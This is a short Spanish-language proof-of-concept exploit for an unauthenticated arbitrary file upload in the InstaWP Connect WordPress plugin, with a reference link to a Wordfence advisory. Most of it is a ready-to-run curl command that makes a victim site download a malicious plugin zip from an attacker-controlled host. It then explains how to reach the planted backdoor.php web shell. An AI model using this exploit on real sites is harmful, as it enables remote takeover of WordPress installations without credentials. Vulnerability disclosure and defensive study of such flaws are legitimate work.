InstaWP Connect – Staging y migración de WP en 1 clic <= 0.1.0.22 - Carga arbitraria de archivos no autenticada

PoC (Usando CURL):

curl --data "api_key=123&override_plugin_zip=http://attacker-domain/malicious-plugin.zip" "http://victim-domain/?rest_route=/instawp-connect/v1/config"

api_key -> Puedes usar cualquier clave de API válida o inválida.
override_plugin_zip -> Ruta al archivo zip que contiene un plugin de WordPress malicioso con una puerta trasera.

Una vez importado, puedes acceder a la puerta trasera a través de http://victim-domain/wp-content/plugins/malicious-plugin/backdoor.php (asumiendo que el nombre del directorio es malicious-plugin y que backdoor.php está dentro de ese directorio).

Referencias:

• https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/instawp-connect/instawp-connect-1-click-wp-staging-migration-01022-unauthenticated-arbitrary-file-upload